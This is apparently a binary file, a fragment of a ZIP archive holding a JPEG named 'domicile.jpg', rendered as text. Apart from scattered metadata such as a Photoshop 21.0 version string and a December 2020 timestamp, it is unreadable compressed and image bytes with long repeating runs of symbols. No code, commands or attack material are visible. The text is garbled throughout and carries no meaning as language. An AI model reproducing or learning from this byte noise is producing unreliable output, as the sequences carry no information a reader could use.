#m>�L��a=�(�.�7��hG{��Y�T1DBSn�KŲW4���F��I��W.��O���*��}��F7w�⫨��3����M�"�8�g��a-��Wy�!��W��R��y)?'P���?�D�q���6��٬�Z�k?6���fKpl���f��,�ڶk�b5����K��*�*��vM>�T�����il'{��������!�w�f!�]�p�E����D	jR]��T�3:	b���k8���yd�u��ƭ�=��p?��񝀻C������d�O����
�o}~t
Wg�˜lP�w�JO��w�'��b�B̕(��o�!�L���%�n���E�+�5�m�/
�:�/Atx�!7�b�~Tt2׿��:���)V�xVg�n$�f#�n�:z��[]]Eѩ鲐m"T�i�驝�]�sb�X���z��������\�lD�@�=lOvT�q��Q-:i�
�׈9�V��] �
h>���~�ۇߘ��O� n�)���
1N���~�"�?�V5�����
�����5p�G�W��s��J�����G����B~!�Mj�I|1?��Hap��v�oK��D�_e6v��*�:/���:���s�p��bQ��^Klbf+�d%�Nj�=�#��qro�����4��eo�f��IH5H{(c���*�0����O�u������bKCL/}�Upl��۸=[^n�"$.6��-m�ij��`��)#��p'�<w��������fs�gϮZL�儘�q��`~��o:Y��c~Z�a�:�a�K\�PV�{p\�Wp�)i
.�òh
�e�~_%����
�p���X:��nG���JQ�N�(����������d�8q]�w�n�(˱�Е4f���|��&o�'���O��9����N��$�><?B��8�K(N�),����ВgT�#��U��Zr�s�QT��u���C���7��ieCi���)M@�vՃ�bm������\Ǡ�կB�	����">
~�2/��3����t`0�x�k��v���~_�}��!v��������������x��G1V�2/P���q���g��^�n�"�`��*k��{�H���ʛ�^��d�C�u���>`;��K��~���@x0���@.j�"J��|+�LRa	_3��{AJ|�џvo�r�[hY'e�ܟ$�O��<F0xd���/��@����}�a�DL���UB1�sx$���U֗��ٕ\��#����W4D��%l�q�s��ࣵ�kO�.�{�^��T>�p{�X1���F�7�UtuCs��
��ED��d����F�u��juo�]����E�5Rnڃ����R�J
6��W�dt�D>
2ɹX�%�������ʀ��y��*Ը�Y��|伹q�B~�9kr.����2�>��Tܰ�Ө������:{�=
F�B$�������g�栆6;\G��"5��7~6z��P��=�>�˹�M����6j��:ڤ?�1t���B�C`e�ɗY���������ҝ;TN���̮�eaj_�[RhZ��\�c�mC���v‡e]���3??O�#���Q�[�P�m3��3���_"�%�!7L���ɟ�p#�E���1I�y�ᇲ��$���|$� ��ğ�_5j=���M�G$�5+��H5�
�
Zt����D�4�	��І�h���h�"Q��$y��#`OX"�(Υ��q-�2'�muPWV��RTa�mce��6��p$�q�(�D��b��?��?èc�:���
e>��#zd�P[Ų�#p���}�7�{���|V7�����ՠ\��X��վGC4@?�Eнp��5b��:<�L[�EVU �хhXTi�0r�1F���!H���ʝz��4���`i�/a<���P�Sf�\�ժ�,��h�A���"��l.*G4�j���8N9�q
!L�$ +6�j/��  V`iD�x���EC@�^)rwG.�5f��o�!].U�b��Q���mEh�`��;��_I��"+�..P1ytEpq���x�S��ͫs�l�۳�1�#��"�P+h�4�t#NO�y�pw���;$��I�^�ҏo8)*�����}ΐ
̖��NH5�}K�*W\N�%�HK�"����I���J�N����0A0��C*7���b��n�Öɏ@B����K!��%��Y���;����=xBh��>�^����<�Mzÿ��'��&��[N`D9D��(��Q;wn���r�I��NfA�A�	�ǫķA��V�!��O�O����u�`��j��_W�5�34��*	�C�o}���?�կ6��$��ܭD�^��y44!�����B=����K��}�O��Ev��*��9�L�7���
�9�;/Տy�ݾO��Ǚ ��#%�$8��IO�9&��KS���,\���.X���sȗ�
�в|�l���o%�F���I�/P�۷�����"A��\�ۈ�b�D��	�+��s�!NG~Ԓ�V�wȃ�;i3r�#d�`˪�$�zܯuܣk�
u
u;��A�S�9���׉�[{�NN�J�&�X�e��<�)�����
tKġ�x�3��l
��+#
yc�'F߰f�J��v�	�0�xTn���:D�?N��n70ՠ���吘
�BD��tX�ê�g��N����?e9"����0/��x�	�̀�Z��,�a�!�7�g�ˆM�0-��C�!FI���H\�x���.���V4c���n�Q�1oC!#�4�H(�0��eB��hq��%�
����Dc�8���Y�T�ͱ����X4���L�(��iF5c�>TIc�ϔ���B�;�hQ/���=��i*ÈH�IX5-�y����Z�����#�bT�A�Pة�KX��S����4��騂P����~�ó� 6�y�������"���֞��௷7X��.�"���-\.M������8����
����vS��>M�!���qW�Sх-�<�ˎ_]'`K�U���:����
|y�o��cN�=�$�~����X�:��1��c�&R`��c�M$@�F&�M$&�3�]��r&ǝr;x�!����F�I;-ߐd�0���C�Â���ٻh�n��-30SټՊ��-){1,�,���
��h�9�×&@#|�_WUH~Yb��cB
KLx�qjN�"�c�e#�h��?�24/��+!]��x'�t�*�D%9����SE�ъH3\�*��Sq�l2�a�!�1�{q�E$r�V� @q,˰
����E*�ƓCL���SL�`�42D\
.�Ē��AB��v1*H��F��E�!d#6lG�&BvT����H�l	�H�e\QWR�w�ł�"(6~58UC��
�bI�Գ4	�Ǫ��`p�8�2x�E�!W������i�t�U�$X%���LSx�=���!��jUu�RC��:^�����M��nLn0C��ڪ���b��0mH�$�Ǽ7�h������X�^K}���»�5	���iܿq��K���lc��pɝ-����<��d�u��h�ԅ�����kf{����_�>�����p�Z��.���F�3����5
�=)<gx�w٤I�3��B�$\
�!@e�����u%�\�G��W�L��ZA���L�iåe���$��[ӂ�ş9�&��,�Fqr��>�Z_o�.��Bp��Z�UT��DЖ�D�ƽ��,+��p���03���<�d��TZ�C2��"D�d8�#�j��߿|�t]��S�誼α
��SS�i$�	\�#%�М�Ӽ�IDA����<#xGs�~��%U�R��U�=8V�qa)YV�.�1�4��pnC�Bh�����f@ʥ���W4X���R(�Z��;�w�
���_�ԍk��yPt<^��ہ�vڽ��^vo�ٙ�tn��/�om��!�q���)�4����z����K�4�;@k5�շ���"��>
����ޱ_���;�?2�5~(��Q�L�)�A���!p�o7R@*K�"]ka�n"J���F��W,,�Ë�W;u�����Z����ӿ�e�X���o��\4��K��B���ΩO����Ѻ�i_Qv������p�x`��5v�+��9̘�s��%��l5���W���J��!�� ��|�E:�)a�(��܀���@���0XL�t�P�
�n�O�J��/�ܗ8�f�S
�A$HX���%ѡ>��5o)[{BQE�����-�W�C�r6�l��K6���:W��g�u.²�^����r,#��/��\rM^�̟B��\���D#/��?y��)�
���X|A:
��@�^����ii���t2�裑������1@��wL��&�_9	�lU}|��z;LtR�1V�
� 䡑*�d;|o�1�Yb�b�8�<�
�c� 1�Z�ZG�鷝{ۯ�sVY_l�#���
ν
U�2z�
�[�D�H���0�&ζ84#��=��B�4cp�AV�&�S[b�
c�AGM�Ep��Kt�<|a���Ĺ��w���{��G�O��b��|����^]�{�uk����!���X�56�D���^3M��Q-l0�8����喝�FP)&��_q���Tb��$s�6ƺQ�r~��=���v�*�sװ4�#W�
��ڋT
�.�˧�M@�Y'��5�8�ՌG1�gC�1�ol���p�Y���-:Z-+��9\b�Dp�4��OS���pin�Ks��lȌj�cb$�>���;#x7p���}��L�r~>�����$�(	��\F��j�Ԧ��
FE!�9DŽ��\bU�^�cbL���?������**Z�-��6x���r����~o#V[ʝ(u��uߪbO;;h��٦�՛��#���
hB�;�<Ln�.��;/>�%��Yц��.�K-B�h`��K;����`�Bs<�}C�F���a5�OӠ	Vw��MU�f�eE�Z��7:^j�S-�,#�q;�1�\ɝ�i<��f->��H,�6U{=
M����y�{gY��+Y��C�ͣ�l	�Bt���c��N��JR�����:�u�_��˩�ˠ:X���>W#��q��"� ��C��GC�����D�o�v����v��t[O�~ܹ�ݾ�Ww�C$T�!b���cT�s|��/�r��B���u�ԁ�
$��,�{�'�����z\���6,��k>Q�"�k����f���)��!B��7�;��{
l��ȂA�Z$�A'��i,�7��Woܺ�Q����S{���^q�ﭹ�l���+{6�.�Ҳ������}��{����2�-~�m�WA����4�Ç[��s++7������..�㕹����}���q�ͦ�n��D��?���h��?��PO~�[�@�1�:�5�B��}�MB��j��P{�E
]\���ohK�Atq�Z�ל�]��hw|�������t`�Լ����{h׭�j޹�[C��^Kڿ_Z8t�����bm=�N�����Y�m����e��q
�SM�k�W`�i�1�du�F�1��V����){Yvj!�G�d„;����!k[���s�7��)a	O��a��7�Qܪ��F��v��l&K���XgB�Xx��[�I�2��*���d6�q1��G8��&��
�{�0���3������������N�����D��f����O�jDJ�Fí�5K�c��$u>�Op�P��D<�Cg�{n����x�u��N��-y�c��H=�X�:��Ƈ�'���%2���A�Z�V��~ֻ�}���X�biw���߷B��K�FD�h~xS*�@׼0��<�u�M\){m��%�]�ƅ9Ö��ڂ�H��󍼘8��#�y/�lg��!����<�����z,S5>�T�b���*�*r\�_��hqg��>|��d!6�t��4�)�&�٪c9!�
9V���v�3���\\XI�|L��|�
1�0���p*����F�2�
>���s�p����YZM�a����b�\v,�#x�;��3k�EC�t����&���~pX��z�&�qLn~�NzB�#'�#��>���ŭ�b�����ʍ7>~�‰N��^����o\�}S���[�
A4���3
�7�
G}���3�gގ�^o��8�n��S���{�;�P�gS�%0�ʁE�U�ba�zL,����u�����7���o`�����+���bn,���sm�`�)^�c�����'e�<q�z3��LS5<Dz�
�=ӿ�z��!������������m�kP��>�����opkd�2�ap�`��4�f��N�u�:��:<ˡ!�?�m��ŷH4��F���8K�m�S }f�5��c:XH�d�:��E?0/���ej%3��/*�2Ӆf�d�s;K���;�fo��w����|&�,Lg�9A��Dg�,Y���p�5b�ӹb36?zml�]���ܖ�6��Պ�a�Vl��c,�9\��O�1��j-�~�A/�[�CGj �P�ep�PQM����|�$�*�b��u��(����LuY>���ė���)n;���i�E��J����i��VD/�q���`[�����zA�X?w�Au�6����ͭ�����&��,�^��������|��y���w
6��u���S���������yxj��B�D!�����y�"�4�#�Q��\\<���Y�?�����S��Զ��y�'G��4xL�����-����x���*�?�,3�������m{�[AC"�FHt�ɢ�]p .$h-4�hOd��?�9Yy$	#������i��Qhʩ�.��ʇ�{@SbKZdX!-��"�={��H�wHHO<�p{�!^
���.~^���i�T�ݐ���'Q`#���D[+^�)P�L�D1G˜�)�E=*�۪a��E��ӊ�� ��� db�	~p��21��>����8A�9q���j��܏�g�r	���4H����E�%I�<�ϩ�Y��� A~k8m��(N=0�
$�'~�EZ�e�)�����*�E<��]���d��P2��M�^��gɤ������{��R
��+*�k�)ߤ��ĭG��H�t*���>���[-W�+�L�d��r����e2�����:������TE��xph�ʍxT��RǨ5�5a�	&�e����X�u��n�+��ǒ��@����3p�I�1�v�R�x��E�
�iܥa��M:��K��d�!:��HӬ���f��k����1%n�5�yXZ��i�6�;�N��N�c-���ݟ޽� #	�^y0����J8�M:;w:�l^ϻ���G����!\���n^��+�1e�
-���ݮ��v9��{���#;d�g2�=z����n�ia����������槞�T������x�;�y�w���w<{��_y���D���$����'��r�oCNm���������N~�ç����y�sr&�=5as^�;F���R|n�v�azE>�:��̎���5�Ս�?�p�3�H������IΔ-�<}�]/�o�b�K:��\q�C]}��D����r��ᢒ]q���x׉�\~�s��`�4�O�P
�^�`�BW�}o�ai4_��_���71��ɢ���C�ͭ>y�~ݏx:F������.~{(�/�q��`c���j�y5�ٜ��B^�����مZ�P+��'�wCb��}'r��YHysR~���)T]=��X,��l\�n��h��y+~�>�I��?a*on����|P���瑏d`�ML}U\�2�	k^{�0�Ϩ��-�'�RXWCL;mJHb�� M:D�J5̲i=��1���kHV�0�srҝ�ε����)j]��w/�R
��dm]`�(	�H���0����j�6Ba
_d�(*��;�*!Y��w͹nY�wt̓�͑�[�K%}��)�`D(���c�N!����B���Uƃ�6�q��y��]�AZ$>#4>״n)W@�7�aQ�{0�{o�	���
ן��7�n��T;����RW�`��Z�`7�~_�u/w�x�^�$5�za|�PӰv�r���1)u�(��:&��n�y@:By�
�|�-//|q�Nټ����W��P��N^�>}�ؐ���o��S�t�{��T�'��Cu�'9N����:Z�4���C���)t��0�]s����a|�`���nH/��`{,�`M̓-��LY+
1JvS���j�vg��Eҕ�K��m�#C��Bb��j�S�5�]HH$��i�n{���\�ndrQB?�r��T��θ��=�V���D���5m�ԇG:0a�y�_W��rwu�zI�;ĀZt�F�����{#س�W��C:,����2��Xf��貦��2��Ƈ7�`�?8��;�)�Z��
����<ǕX�)Kh�d3����!�G'��3�>>���ȩ�wο��a�(��EqE�XU�Fn�JSE§��;�R7b���D�0|c!��<���ow�aY'gxÍ��٪�����h9~�(m!my��Ϥ��q��"K\���x"��I�����(��&rR_bK���S(XZǩ�a~�'
.�6f�Ϻ�1#�t��y�J䯁�6���? ��.���Vl�W��u���{���Y�Nu��Em��yǫ2mE�f���:�|_`?����x���2i<��c�JF�%u��:�����B���-��@�I����#���~��mm��	�Ö��X�%�K��
\��f��="^7�pe��hƶ���a�9���������w7��`��D��x�6E�kGzk�W'�|�+^�T׃5T_��|\�}Uo���D���&��5A��>v�8Y��'|ͤRj���|Q���a�^�`�̉4����)�s����Oh���d^'h'�g.z'����`-�D�j�J�N֊�tÑ�~E�<�2PY�IO��:JnΒ�L��ҧf�P���_Ƙv�~>�{�U'�DV�	�Q�q��E^ගD�(�l�DG(t
N�Ãi,��S�Ĭ^D=�F�C;�=�|�	�3|��C��;MAGƒ祝��
a�&��
~��?O���|pH[�r+� ��5�W��Wߧf� ��]�VS�˵�&D|)(}��/	2G�HC��!�*U\�ര�ӗ͢7U�ظy��#�x��{�{�=7�ˈ"P������-��=��:�m9o�nk&[p�>��vo��@ M`����9������ �P�xAna��gG�F��+�ud���P)�������ݵ-%�F��]⣽-&�<
ⷎc�1}&bM��>?��D>�DL�f�GpH'!������kHT �N�EC]�]�ύ�U��Xƶ7���M��在�=Ͷ�(�o��;�Eݨ�Ͳ�&��/�$|AP�w�6Z���͍b���F�/��X�D�(u��Y^�3���?8�#z$�t����+��==�y^EK�5�ظ��<p`'��|j��%{�=y�>E����:x���bo��\xC����N���w�vzDO�'h�Ʒ�
�.���db���Mv	h�{�z+��p�]7!��%��g�8���`��BȖ~�AǕ��,�E;��Mʒ�O{��=I+�,:%�-9�l(��ݐ�K��b4�D�����wV!�\)\��S��,�K�WS�S7S�SwS�ZD�}�a�+zD+X5�`���O���
ۖ��$�S.����#m�,l��6c;ɁdrL-�'Fr�\r�\D/�bE/!�+o��t���|3S��%
��<��#9�)����B���(E��t�ԇ[e��Wi���g��Xj|v�WV˼F�N���u�/W[1Rۣ�B�U-4Γ�B�f�<Ab�Z��	������G�Hjm𝊚��]��`�0�qϱ
T��k��K�7P�ai�~���V.G��P�0���Zm_���Xe��E���XD��¿�œQ<2D߈���#���y�WE�T��A�=�vd�H�O$r��^n���;�]�B["Ub��b�����B��e붖2�o��#�i�>ʔRw����Q��q�t�i���7���L5��ۏn��p��U���!a�V�W͋ṝ�$O���x{e���^U�}�='*EtЪJr��՝sa��Ȉ�-��{�yA���,U���o���aD
�I�~ab
�3Dj7|�c������p�mS �)<(ʶo�pԄ�����j�zƒ��ĩnwm}
�`6�'�Xʼ��?q��ѓGL�8�E�U�x��C�saM7�g�PX�$��!���cclL$V‰�!1��)q$���X���o|�w�aY�؎z���V����ǁ�?9
�j(B("��.�����h�l�q!�ьJ��l��9Q2DU�MA1pzC8��W�Vz��&����>��?D���N�T	l�d;܍qKA�Fu��6���
j;�S;%���Uj����`�8-��������O�톸�*z��R�?�I;���|U�|}�6��Y_������Eѝ��?� :�Tl2a�w���o<�̃�{s�B!�G&lf
�|��#+�[���m��.���2*�f��P'��C��|t�e��A�!N��f��K<#�c���d˒�1���Ԑ�9{m
w��_�B+rњ��yNd��D��w·?f�*��fCR�`�>�x�Q���
��?�g�Y����]+��Iæ�j��຃]��E+�s�c8� ��kz�_�~��/lV�׫h1y*Y���Ө��z{Wopnu��Ql�w�7��z o����)ȶ��f��[���A�8�J��ƍ7ns�|'�E ؏��ǟk�̆���
=F`Gy�AB�<���ނ�6oh����A�:�[��oܰ�m(��ձ�8to�7��I�W�5;5U����K���{��7�*e��5�3�r�b�b 7���y�E�&���(K��ܱ�V�NLn�o1�x}�P���W�2~��W��1��-|�ru�!�w'��r�V�T5�t��n����^�<r*‚s�g�X9-��$�<�d���Z�v~}��2B�i#�0l{*�A=�dN�쐮�n���q������g�-�j���đm��XaD��v���$��?}۰V�	A4��Dɺ�E�K��N�bV����,g�\��;s#dE����t<X�L�c�[�+dD����_���Ǭx�ȅ���5N�I�ֆ�l�k#��9�N,OY68�Z��*�=-��c�z�a�)��$�U�	�&�=��&/���'�&K���T��	|�;
����G��2w<�0~�yD�x�8H���O�Ly�,Z�
���,g=���D�2�����Bc���a����ü:�����~��8;��x�eʷ2bf)�9֔͠�@��v�4k/7��I�W�E���
O��	�z���0����Y��C��0	?d���ţ���!<z}<<����J�\�A�;�jl�ͭ��c�c0�
�>�a���ϼ�������]����3����;��ޙ����5EZ�DC��ef!�6�����)	"�`	�0����
6��x�� �"�L9�,�^u��R}��3=5�o��u�{U�}��|~�q�|�Ń�om��僿<��ch��,�I��	��	���lDrB�K���t�i���y�#���Χ�Y}��\_C]�H�BЃ�%>\�AJ �2�z�d�AJ�]�A��Z�zCI"<+t4~��`��+n���2xa;�g�N������W�(�[��m�Vd[�����P��2�
-/�9���LkS�s�	�鴖�����z8���>s͏i��8�L�^��
��q�s����c
��λ�ÓzU�o�~r��{W}���*� �?0n�ᑾB��:bn.���z�3�S�x���]v�~�5e"�g
�}�~}���l^̀7*?��~XQ'EE��d�YIؓ~i��2���W�;RI�8ӯdϧ���ޢ�}s@�zF�,b������f�t�	�{��;�T~4j�ۈ��H�����Z�_nO<�c�R���z�ƜZ�v�w�Q�ڷ�0hu2��v��zAV�%���4�no{t�I�1��ݏg��So��d�G�qH�R=}�'?y��Uڣ�F<j&�c�^԰m�k���&�n4�ض���/��������Fnh�v7�\��mc����P����9��c�{����/�xW�)5���ʃY_��3�,�gW�r�]�~zr}�$�zn��:��&x(��ݽ�?���q�x�|���	B�����!��[x�!D> i�#��0'|�L�,���#���I�"��<��if<n?b����fL�
J3"�oP
�?��<�H�x��|u�2)�i�y"�Y�YI"�,o����+we*��&��B�$r��+D��Hj�0?���Q����o��‹+Ы˒g��>��9��$�@;	�i�Q{$����5���?:D1P*d�y�r_�g��p	/�#���`�Y'b������EZ�k���e�����������G=E3��^Cnr���sLM遪am�ƫkQ�״,K|z�a�����-�5�h���K�Si90�Z
?4-�4,ۃ�/��\OZ�拌Jh�d��V�~jh׳�tBQ<d�vv��� 1E*rwf-�
���Tn9�� 3�
�
�����P�G�iQ�4��,����8�����������<?3���=۹5�������}��zQ��0�*���$�do���6&�7D+�|�y� u�
1k[6Y-�V!�C�������طV���X��X��t5��z���>�=���Q�|Ax_�+��o	��5��6�wj�QU!B�NE�O�`��*����g���B�p��e�<O�b�x2%�L�d
���
����5a��J�cy��(e�T���:�1�A��T��.�pd(ao�jN
�M�*r�TJ̐��)�����V�P�ܖ���huݵO�;m�;ݽte4T�Ļ�6����J��5ո��)�N1��(�DJ5E����$�[-�:(����O�x��p��Q�}R���_T�O�2�1��d��j��ɒ4�ڠ�X�D,JN$�MEw���*DI�N�hy*S�8�r'�V�C����k�-�ِ`lђ͚��66�fW&�.׉.�*SsƦ�6c"�TL�k
�O�N5�-�V��
���}2���F#&���!�>���F��p_���0�l�p�
��&\�vHXb%��4��S#Nϖ���8��̊���Y�8[*'�����cRFέT��2O�a�C����a��R��a��z˨f=��z��zK<�3��CG��R&�qC�)�����97�dRF���&um�0�(DP��Жjf��dGj
��@��lȶK��_s�T��L]��z�w�!�%&��!թ��;r#et"�=`�ؚc�pw��l݆$Q�G���P��H���x&��P6|��D1�`��W��.���}Y%��b����'��_��˜�SM$PC�rCu�'<B���uKCp �H}}�	wk��X�s�PÂ��{6��}�MK�$�*��)a��b��R�&�����|�xlIh�ky�6>��r�AX��� �}A���ZC�,0��ܚ�=n�0]{#��ݖ=�7���4[�;���iV���Z{�q��/vh��b�Ɍ?�g_z��9���WA�C�`4��q��w�o��'��]Z�w'�' �?��X�ɝ{�K��8�CJ�V��QQ廾p.��;N�vE�h}+�c���{n��r�$Y�-p�\	�8WW!p�$9T*�k�EUFq�0�08Tfb���F�#It���He���O)��3��1�x�(��֭�E��j���ЅIzJx�$S��D�J�90�80���)K�V=R_(��v6-��@�I��s��o~��4�1;}�8�),�U�e��y����xt�lSBA+�����'G���`~�]��P[���k� =acH��pf�E�����6��a��>T�5��ģ0�yA���Pk↲�F�VK�M4�I$�pL_��Jh�����lY�C�[�	̑,�A�"6�\p��.��ٟ�\�t��)뵍7��x�:���M���� ��M:�d�u&�~�����<x𝚻9p�����R_���%���Q�UL���@���pW���+|����x���*�y�Q�����<SԾM�Wu�EU��3F"���^�\��E�p�.�6F�ηB~�څ�.��W{���a��[T�w�2�J��p6�v�x��Esa��g}�>c��^t{靗Ȥ�gQ��ώ+�t8L�������m��� ��(���݉��a�꠳�
�8^��(4�Bx�՝nH��a�hV�ų(̦���(�6�`�|�P�G�{>�U�,���e�;Զ�u����+�ȭ�Xlv���b'�ʘ��~u}ͫ�w��?�7A�A�1M�W</���A�I�&�G��8q�`�>Cl�װr&X�Zs���}x����.	�܇�8�p0t�
����*�fQ���r����X�7ϟ��?�uʊ+���{�6����]E��?�I��{�N�y��3^,�;��&��z��u�?Hd���!�����K�@��)�r1��%���EF�@�d���F6��Om:ʌ��Jz�ow�]to���Z�+ɣ��Ñ,u;s��;�7��&���G����xA�'�}��>��W�)g��x�}��N�@���O01�G��\�L	l��Ȃ-�B�0	��BعT_��'�����&����͹w��p�g�<:h����t\���8��!���O���_�)���ݗ�
h���.�Ḃ[|9��'q\����_0B��1���9Ć4d=�n�zQ�ðwE#EB.r�%��P�-vX�-�hsŮ7��s�S�ԯ�Q�C�#9?�An�0��>Ƚ�+9N;N���_����m�ݎ�ƅ�籟hK�Iy����9�41�4!M��.Ludv̧������c�ث�{4�3a_��K�^�uT�;9ތwg�LY��-��2�`��ܤ�T*�R��7�p�x�m�c���F��j��J���~׳Uoֶ�)S�HR۶�Զm�ƽ�3�n~���o��>cα�����{�A���?��nnac��6�
�qm<�&�	m"��&�Im2�ܦ�)m*�ڦ�im�Mg��6��d3�,6�
��lv��洹ln���l~[���l�U�X��j5�[Ú��-b��b��-aKZ��ֱ���oK�Ҷ�-k��򶂭h+�ʶ��j��궆�ik�ڶ��k����mh�ƶ�mj��涅mi[��6Զ�mm;�ކ����d;�.��
��lw����lo����l;����`;����p;Ž���ha#m�c��qv��`'�Iv��b��iv��ag�Yv��c��yv�]`�Ev�]b��ev�]aW�Uv�]c��uv��`7�Mv��b��mv��aw�]v��c��^����A{��G�Q{��'�I{ʞ�g�Y{Ξ��E{�^�W�U{�^�7�M{�޶w�]{�޷�C��>�O�S��>�/�K�ʾ�o�[�ξ��G��~�_�W��~�?�O������w��q|����>�O���>�O��>�O�S��>�O�|:��g�}&��g�Y}���>���s�<>������/�C�����U�y���}_���}	_�[��w��}_ʗ�e|Y_Η�|E_�W�U|U_�W�5|M_��u|]_��
|C��7�M|S��7�-|K�ʷ����o���>�w�}'��w�]}�������{�>����~���!~��~��G��?֏��?�O�?�O��?���?������/���/��
�ү��֯����o���o�������}~�?��C��?�c��?�O�S��?��s����/�K����k����o�[�����{����G���g���_�W����w����?�O����o�����_�w���b�'Ƹ1^�Ą1QL�Ĥ1YLSĔ1UL�Ĵ1(���c��1f��c��5�l1{�s�\1w���|1,�B1$*Q"CQ�Zԣ�X8�Ec�X<��%���D7zя�b�X&���b�X!V��b�X%V��b�X#֌�b�X'֍�b�� 6��b��$6��b��"���b��Ķ�]l�b��1v��c��5��n�{�{�^�w���~��Aqp��aqxG�Qqt���1*��c�8>N��89N�S�8=Έ3�8;Ήs�8?.�㢸8.�K㲸<��+㪸:��k㺸>n�㦸9n�[㶸=�;㮸;��qo����`<�#�h<���d<O�3�l<���b�/�+�j����f�5p����ʐ!<+<��)�U�5�u�
�M�-�m��]�=�������������������~�_��~�_��~�_��~�_��	?�'����~�O�	7�&���pGpGpG�W|/�~�~����c~���{�=������V�[ao���V�[ao���V�[ao���V�[ao���V�[ao���V�[ao���V�[ao���V�[ao���V�[ao���V�[ao���V�[ao���V�[ao���V�[ao���V�[ao%᳻��J�O�찰��;,찰��;,�/�첰��.�,�����W�W�W�W�W�W�W�W�W�W�W�W�W�W�W�W�������������������������������������������������������������7yO��4yO��4yO��4yO��4Ǽ����{��-�G����{��-�-�-�-�-�-�-�-�-�-�-�m�m�m�m�m�m�m�m�m�m�m�m8m8888888�������]>���]>��s]~�.���{�=>��s=�^���n}�~�������Їׇ��y���'�O<�x>�z���߉�'�N���;�w���߉�o%�J��x+�V��[��o%�J��x+�V��[��o%�J��x+�V��[��o%�J��x+�V��[��o%�J��x+�V��[��o%�J��x+�V��[��o%�J��x+�V��[��o%�J��x+�V��[Y�_�߀߀߀߀߀߀߀߀߀߀߀߀߀߀߀߀߄߄߄߄߄�o�&�M|��6�m��ķ�o�&�M|��6�m��ķ�o�&�M|��6�m��ķ�o�&�M|��6�m��ķ�o�&�M|��6�m�������É�'N<�x8�pv�����ˉ��������'O<�x<����z���م߅߅����g~>=Hz�=�=�=�=��"{��Fҍ���'ه߇߇Og��$�I:�t&�[��%�[���p�$w��[��"�q���EtKtK�-�nw���虸[��"�&�q���EtOtOtOtOtOtOtOtOtOtOtO�-�nw��[��"�q���E�-�nw��[��"�q���E�-�nw��[��"�q���E�-�nw��[��"�q���E�-��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������x�c```d�3��΃�w��@i=T
PK!��X��X�Xdomicile.jpgnu&1i�����ExifMM*�����(1�2Ӈi� 
��'
��'Adobe Photoshop 21.0 (Windows)2020:12:30 07:47:08�0231����d�dnv(~=HH���Adobe_CM��Adobed����			



��dd"����?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?�Ʀ����2q,���@�|e�ZxS�A�M� o��"�<�q�����e@�.lꪯ�w��Z]P0\�D��uэI���h:~�?��-��W]�X��sC�$D�����|�2�	/�c&�LG����0js�b��[�?�ܬW�f��1��I����!~�-�n��&>
����M�.>%X�2�Z�w`��${lک�I��qeHk:+��v5��cIn���Öh�׵�9�cDGnT�6���G�ﯚl��|�xp��1�I���>N[ے�
ZHs=���k:�EhX@1 �{��3��57߽�6@�i�X�ߜ��_Y��=��TQ�)��#^�+$�HÏQ�o�y�]n�Skݽ�p�Z>֨��{d<?�B.����p%��u�����U��F8o�O�	�#ƻ�����<��lp�=<�Sq�)̟\u��ԑw{6v����J{,4���������e�q%�|�G[a\�`�W���NR'D7�`c���:�H3�\�ؘ��1�8�CY��7{}ߺ��s�q�]ݕ��wvo�g���_e�Y�&�}��?�Y��A,�q:i�V������D�n����u&v���!V��ͤ��K�;R�qfͯ�Gk��N<�1����V}��_�L�ݬl�ĨّcǦ�p�;�����72ژMTY�i�3����XՊ��q�����q
egk6��m��nw�ށ�3�p��ޕte�F17�kd[�i����q�e��;�[?���8��M���=�W��}���ϳ�ݎ��f;�׵���ާ҇��歬-�B��u���acCG��}��P���d5���U!����Ym��r_� �K{~�˳�4g���\�ł�]��5�G�dY�:eg{��>?�G�(�U3�eXG�՛]�Ȳ�YX&X�sG�۹�T�3e�����Ǔc����uvIi}��G���ҟl�RZ~�i�������jmb�<2�Ü`~(�x�?�ܒU��������';��k��q��1��v��{Y�Q�vt~���eYV�kZ���έ���9���9�冣�2���)"O�l�=S��WWQ��s2�}���-g���o���k/������3Ym(��`���L�3v�/�Hߵ>���l	�}x�6���9�_a{>���ۖNoX�9O{衹�o�Y�h%��7���!/oJ����G�N�ާ��̷\�M�[[=�d6��}7����U(�.Ȭeݿ�I���hѯct��Q�ӵ�ѐ澉w�'�?�䶷9m�U��WS�q�Ǭ�C\�5α���a<��Mc�
��*���Α�}�ev_`s�B�?y�9�ںwR�?���&��+ 9�Ŀ�f�1�5���6���1�݅�T��Y��a�����l;)��p1
$2?1��>���&�@N'ag�̳�č�<�@���V�c�9�NG���h��0468��h��~�䮨t�����v��mm ��ۜ}�5tl:���vM����{j�u�3��\�c24:<X�E�K�Ӿ���>��cZI}�v�9���v7��q�z=�\��#c@�c��s}��hc�鮃�_�}`���I`эnߤ��{V_]�}��'�h���=�r]Y۳��Ob�#�e#B7я���/���_�'�|}O���ԗ-������#����7�?�ޒ�O�޿ˋ�{pw����9`7���[v0�w�5�C����T�阡��m��h�}��Ό�Y��m���Ig�팇n{������K�Xm;k߸�~o�=����r���̖@�9�=��UY{O�-sg_h2�e��ױ�v�����\��]*,��~�pc|��jM�ef�}w�#R's���!~;�L�~�1�ͪ�o��D
����mv�T�W���'%��7k�`��S�1��V�u�o���kF�i���	����}K
����vU�ii���p��Q�#���}���N��e�I`%��
�o������Ffc��sݰ��?������I�7U�+/��]�w�W}*����V9餵�s�u@ِ�_{��D��̉��V�;�k�ȇ��6�q�S���n���i��uv��CX�I%��;o�E��1h��%�1;��ܻ�����g���en#c��]f���+Y��;�p�Z��tŐ�&\�v��ޣ��=��5�v�5�F�
-��`�J&�˙e�z\��H��w�T��E��[��i�&F��U�t�g��'�����_f��~������~����l��=}v����}?SlF����/�~�J/������a����{�u��Ys�1��l!�k~��7z�%8�W���.�4����;]�\�m�R9����ݍX.n�f7;k~��9����Zq%�
�܁�Eu�{�s��.�۲��i��J��~�R�g#Q&0�
